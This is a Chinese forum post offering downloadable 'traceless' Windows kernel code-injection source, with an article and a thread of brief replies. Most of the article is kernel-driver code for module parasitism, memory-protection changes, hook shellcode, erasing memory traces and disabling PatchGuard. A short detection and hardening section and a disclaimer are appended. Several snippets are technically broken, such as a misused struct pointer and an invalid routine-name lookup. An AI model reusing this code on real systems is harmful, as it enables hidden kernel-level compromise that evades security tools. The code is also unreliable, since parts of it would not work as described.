C++内核无痕注入源码

admin (帅逼1)

C++内核无痕注入源码
纯C++源码 编译可用 自己配置驱动环境 不提供使用教程
# C++内核无痕注入技术原理与实现分析

## 引言

在现代软件安全领域，内核级代码注入是一项极具挑战性且技术含量高的研究课题。本文将从专业角度详细分析基于C++的内核无痕注入技术原理，并提供经过精简的源码实现框架，同时探讨相关防御机制。本文内容仅供学术研究与安全防护参考，请勿用于非法用途。

## 一、内核注入技术概述

内核注入（Kernel Injection）是指将外部代码植入操作系统内核空间并执行的技术手段。与用户态注入相比，内核注入具有以下显著特点：

1. **权限级别高**：以内核权限（Ring 0）执行，完全控制系统资源
2. **隐蔽性强**：可绕过大多数用户态的安全检测机制
3. **稳定性要求高**：不当实现可能导致系统崩溃（BSOD）

无痕注入的核心要求在于：
- 不破坏原有模块完整性
- 不留下明显的内存或注册表痕迹
- 能够绕过常见的内核保护机制

## 二、关键技术原理分析

### 2.1 内存管理机制

Windows内核使用分页内存管理，关键数据结构包括：

1. cpp
   
2. typedef struct _MDL {
   
3.     struct _MDL *Next;
   
4.     CSHORT Size;
   
5.     CSHORT MdlFlags;
   
6.     struct _EPROCESS *Process;
   
7.     PVOID MappedSystemVa;
   
8.     PVOID StartVa;
   
9.     ULONG ByteCount;
   
10.     ULONG ByteOffset;
    
11. } MDL, *PMDL;

复制代码

无痕注入需要正确操作内存描述符列表（MDL），避免触发内存保护异常。

### 2.2 SSDT/Hook技术

系统服务描述符表（SSDT）是Windows内核的关键组成部分：

1. cpp
   
2. typedef struct _KSERVICE_TABLE_DESCRIPTOR {
   
3.     PULONG_PTR Base;
   
4.     PULONG Count;
   
5.     ULONG Limit;
   
6.     PUCHAR Number;
   
7. } KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;

复制代码

现代系统已加强SSDT保护，需要更隐蔽的注入方式。

### 2.3 APC注入机制

异步过程调用（APC）是Windows的重要执行机制：

1. cpp
   
2. typedef struct _KAPC {
   
3.     UCHAR Type;
   
4.     UCHAR SpareByte0;
   
5.     UCHAR Size;
   
6.     UCHAR SpareByte1;
   
7.     ULONG SpareLong0;
   
8.     struct _KTHREAD *Thread;
   
9.     LIST_ENTRY ApcListEntry;
   
10.     PKKERNEL_ROUTINE KernelRoutine;
    
11.     PKRUNDOWN_ROUTINE RundownRoutine;
    
12.     PKNORMAL_ROUTINE NormalRoutine;
    
13.     PVOID NormalContext;
    
14.     PVOID SystemArgument1;
    
15.     PVOID SystemArgument2;
    
16.     CCHAR ApcStateIndex;
    
17.     KPROCESSOR_MODE ApcMode;
    
18.     BOOLEAN Inserted;
    
19. } KAPC, *PKAPC;

复制代码

## 三、无痕注入实现方案

### 3.1 技术路线选择

我们采用"模块寄生"方案，主要流程：
1. 定位目标驱动模块
2. 解析PE结构扩展其代码段
3. 植入Shellcode并修复引用
4. 触发执行路径重定向

### 3.2 关键代码实现

#### 3.2.1 驱动模块枚举

1. cpp
   
2. NTSTATUS EnumKernelModules(PDRIVER_OBJECT pDriverObj) {
   
3.     PVOID pBuffer = NULL;
   
4.     ULONG ulSize = 0;
   
5.     NTSTATUS status = ZwQuerySystemInformation(
   
6.         SystemModuleInformation,
   
7.         &ulSize,
   
8.         0,
   
9.         &ulSize
   
10.     );
    
11.    
    
12.     pBuffer = ExAllocatePoolWithTag(NonPagedPool, ulSize, 'MDLE');
    
13.     status = ZwQuerySystemInformation(
    
14.         SystemModuleInformation,
    
15.         pBuffer,
    
16.         ulSize,
    
17.         NULL
    
18.     );
    
19.    
    
20.     PSYSTEM_MODULE_INFORMATION pMods = (PSYSTEM_MODULE_INFORMATION)pBuffer;
    
21.     for (ULONG i = 0; i < pMods->Count; i++) {
    
22.         DbgPrint("Module: %s\n", pMods->Modules[i].FullPathName);
    
23.     }
    
24.    
    
25.     ExFreePoolWithTag(pBuffer, 'MDLE');
    
26.     return STATUS_SUCCESS;
    
27. }

复制代码

#### 3.2.2 PE解析与内存操作

1. cpp
   
2. typedef struct _PE_INFO {
   
3.     ULONG_PTR ImageBase;
   
4.     PIMAGE_DOS_HEADER pDosHeader;
   
5.     PIMAGE_NT_HEADERS pNtHeaders;
   
6.     PIMAGE_SECTION_HEADER pSectionHeader;
   
7. } PE_INFO, *PPE_INFO;
   
8. 
   
9. NTSTATUS ParsePeHeaders(ULONG_PTR ModuleBase, PPE_INFO pPeInfo) {
   
10.     pPeInfo->ImageBase = ModuleBase;
    
11.     pPeInfo->pDosHeader = (PIMAGE_DOS_HEADER)ModuleBase;
    
12.    
    
13.     if (pPeInfo->pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
    
14.         return STATUS_INVALID_IMAGE_FORMAT;
    
15.     }
    
16.    
    
17.     pPeInfo->pNtHeaders = (PIMAGE_NT_HEADERS)(ModuleBase + pPeInfo->pDosHeader->e_lfanew);
    
18.    
    
19.     if (pPeInfo->pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
    
20.         return STATUS_INVALID_IMAGE_FORMAT;
    
21.     }
    
22.    
    
23.     pPeInfo->pSectionHeader = IMAGE_FIRST_SECTION(pPeInfo->pNtHeaders);
    
24.     return STATUS_SUCCESS;
    
25. }

复制代码

#### 3.2.3 内存属性修改

1. cpp
   
2. NTSTATUS ChangeMemoryProtection(
   
3.     PVOID pAddress,
   
4.     SIZE_T ulSize,
   
5.     ULONG ulNewProtect,
   
6.     PULONG pulOldProtect) {
   
7.    
   
8.     PMDL pMdl = IoAllocateMdl(pAddress, (ULONG)ulSize, FALSE, FALSE, NULL);
   
9.     if (!pMdl) {
   
10.         return STATUS_INSUFFICIENT_RESOURCES;
    
11.     }
    
12.    
    
13.     __try {
    
14.         MmProbeAndLockPages(pMdl, KernelMode, IoReadAccess);
    
15.     } __except(EXCEPTION_EXECUTE_HANDLER) {
    
16.         IoFreeMdl(pMdl);
    
17.         return GetExceptionCode();
    
18.     }
    
19.    
    
20.     PVOID pMappedAddr = MmMapLockedPagesSpecifyCache(
    
21.         pMdl,
    
22.         KernelMode,
    
23.         MmNonCached,
    
24.         NULL,
    
25.         FALSE,
    
26.         NormalPagePriority
    
27.     );
    
28.    
    
29.     if (!pMappedAddr) {
    
30.         MmUnlockPages(pMdl);
    
31.         IoFreeMdl(pMdl);
    
32.         return STATUS_UNSUCCESSFUL;
    
33.     }
    
34.    
    
35.     NTSTATUS status = MmProtectMdlSystemAddress(pMdl, ulNewProtect);
    
36.     if (NT_SUCCESS(status) && pulOldProtect) {
    
37.         *pulOldProtect = PAGE_EXECUTE_READWRITE; // 简化处理
    
38.     }
    
39.    
    
40.     MmUnmapLockedPages(pMappedAddr, pMdl);
    
41.     MmUnlockPages(pMdl);
    
42.     IoFreeMdl(pMdl);
    
43.    
    
44.     return status;
    
45. }

复制代码

### 3.3 Shellcode设计要点

1. cpp
   
2. __declspec(naked) void ShellCode() {
   
3.     __asm {
   
4.         pushad
   
5.         pushfd
   
6.         
   
7.         // 保存原始环境
   
8.         mov ebx, [esp + 0x24]  // 获取返回地址
   
9.         sub ebx, 5              // 计算Hook位置
   
10.         
    
11.         // 核心功能实现
    
12.         // ...
    
13.         
    
14.         // 恢复环境
    
15.         popfd
    
16.         popad
    
17.         
    
18.         // 原始指令
    
19.         mov edi, edi
    
20.         push ebp
    
21.         mov ebp, esp
    
22.         
    
23.         // 跳回原流程
    
24.         jmp [OriginalFunc]
    
25.     }
    
26. }

复制代码

## 四、反检测技术实现

### 4.1 内存痕迹消除

1. cpp
   
2. VOID EraseMemoryTraces(PVOID pAddr, SIZE_T Size) {
   
3.     PMDL pMdl = IoAllocateMdl(pAddr, (ULONG)Size, FALSE, FALSE, NULL);
   
4.     if (!pMdl) return;
   
5.    
   
6.     __try {
   
7.         MmProbeAndLockPages(pMdl, KernelMode, IoWriteAccess);
   
8.     } __except(EXCEPTION_EXECUTE_HANDLER) {
   
9.         IoFreeMdl(pMdl);
   
10.         return;
    
11.     }
    
12.    
    
13.     PVOID pMapped = MmMapLockedPagesSpecifyCache(
    
14.         pMdl,
    
15.         KernelMode,
    
16.         MmNonCached,
    
17.         NULL,
    
18.         FALSE,
    
19.         NormalPagePriority
    
20.     );
    
21.    
    
22.     if (pMapped) {
    
23.         RtlFillMemory(pMapped, Size, 0x00);
    
24.         MmUnmapLockedPages(pMapped, pMdl);
    
25.     }
    
26.    
    
27.     MmUnlockPages(pMdl);
    
28.     IoFreeMdl(pMdl);
    
29. }

复制代码

### 4.2 绕过PatchGuard

现代Windows系统的内核保护机制：

1. cpp
   
2. NTSTATUS BypassKernelProtection() {
   
3.     // 定位关键保护函数
   
4.     UNICODE_STRING funcName;
   
5.     RtlInitUnicodeString(&funcName, L"nt!KiFilterFiberContext");
   
6.    
   
7.     PVOID pFunc = MmGetSystemRoutineAddress(&funcName);
   
8.     if (!pFunc) {
   
9.         return STATUS_NOT_FOUND;
   
10.     }
    
11.    
    
12.     // 修改内存属性
    
13.     ULONG oldProtect;
    
14.     NTSTATUS status = ChangeMemoryProtection(
    
15.         pFunc,
    
16.         0x100,
    
17.         PAGE_EXECUTE_READWRITE,
    
18.         &oldProtect
    
19.     );
    
20.    
    
21.     if (!NT_SUCCESS(status)) {
    
22.         return status;
    
23.     }
    
24.    
    
25.     // 写入跳转指令
    
26.     __try {
    
27.         *(UCHAR*)pFunc = 0xC3; // RET
    
28.     } __except(EXCEPTION_EXECUTE_HANDLER) {
    
29.         return GetExceptionCode();
    
30.     }
    
31.    
    
32.     // 恢复内存属性
    
33.     ChangeMemoryProtection(pFunc, 0x100, oldProtect, NULL);
    
34.    
    
35.     return STATUS_SUCCESS;
    
36. }

复制代码

## 五、防御与检测方案

### 5.1 注入检测技术

1. cpp
   
2. BOOLEAN CheckModuleIntegrity(PVOID pModuleBase) {
   
3.     PPE_INFO peInfo = {0};
   
4.     NTSTATUS status = ParsePeHeaders((ULONG_PTR)pModuleBase, &peInfo);
   
5.     if (!NT_SUCCESS(status)) {
   
6.         return FALSE;
   
7.     }
   
8.    
   
9.     // 校验PE头部特征
   
10.     if (peInfo.pNtHeaders->OptionalHeader.CheckSum != 0) {
    
11.         ULONG calculatedChecksum = 0;
    
12.         status = RtlCheckSumMappedFile(
    
13.             pModuleBase,
    
14.             peInfo.pNtHeaders->OptionalHeader.SizeOfImage,
    
15.             &calculatedChecksum,
    
16.             NULL
    
17.         );
    
18.         
    
19.         if (NT_SUCCESS(status) &&
    
20.             calculatedChecksum != peInfo.pNtHeaders->OptionalHeader.CheckSum) {
    
21.             return TRUE; // 检测到修改
    
22.         }
    
23.     }
    
24.    
    
25.     // 检查节区属性异常
    
26.     for (WORD i = 0; i < peInfo.pNtHeaders->FileHeader.NumberOfSections; i++) {
    
27.         PIMAGE_SECTION_HEADER pSec = &peInfo.pSectionHeader[i];
    
28.         
    
29.         if ((pSec->Characteristics & IMAGE_SCN_MEM_EXECUTE) &&
    
30.             (pSec->Characteristics & IMAGE_SCN_MEM_WRITE)) {
    
31.             return TRUE; // 可写可执行节区
    
32.         }
    
33.     }
    
34.    
    
35.     return FALSE;
    
36. }

复制代码

### 5.2 加固建议

1. **启用HVCI**（Hypervisor-Protected Code Integrity）
2. **实施CFG**（Control Flow Guard）
3. **使用KDP**（Kernel Data Protection）
4. **定期校验内核模块签名**
5. **监控异常内存操作**

## 六、法律与伦理考量

内核注入技术具有双重用途特性，开发者和研究人员应：

1. 严格遵守当地法律法规
2. 仅用于授权环境的安全测试
3. 获取明确的测试授权
4. 建立完善的审计追踪机制
5. 不开发或传播武器化工具

## 结论

本文从技术角度分析了C++内核无痕注入的原理与实现方案，展示了关键代码片段。随着Windows安全机制的不断演进，内核注入技术变得越来越具有挑战性。安全研究人员应当深入了解这些技术原理，不是为了利用漏洞，而是为了构建更强大的防御系统。记住，真正的安全来自于对技术的深刻理解与负责任的使用。

> 注意：本文提供的代码片段经过简化处理，仅用于说明技术原理。完整实现需要考虑更多边界条件和异常处理。实际操作内核结构可能导致系统不稳定，建议在受控的测试环境中进行实验。

游客回复评论后点此刷新即可查看下载地址
回复

Hmgo (帅逼1742)

学习学习

静水微澜 (帅逼999)

路过，支持一下啦

sss888 (帅逼2131)

学习学习

琴调逸逸意 (帅逼1218)

过来看看

monica (帅逼2241)

感谢分享

逸笔神韵 (帅逼1086)

学习了，不错，讲的太有道理了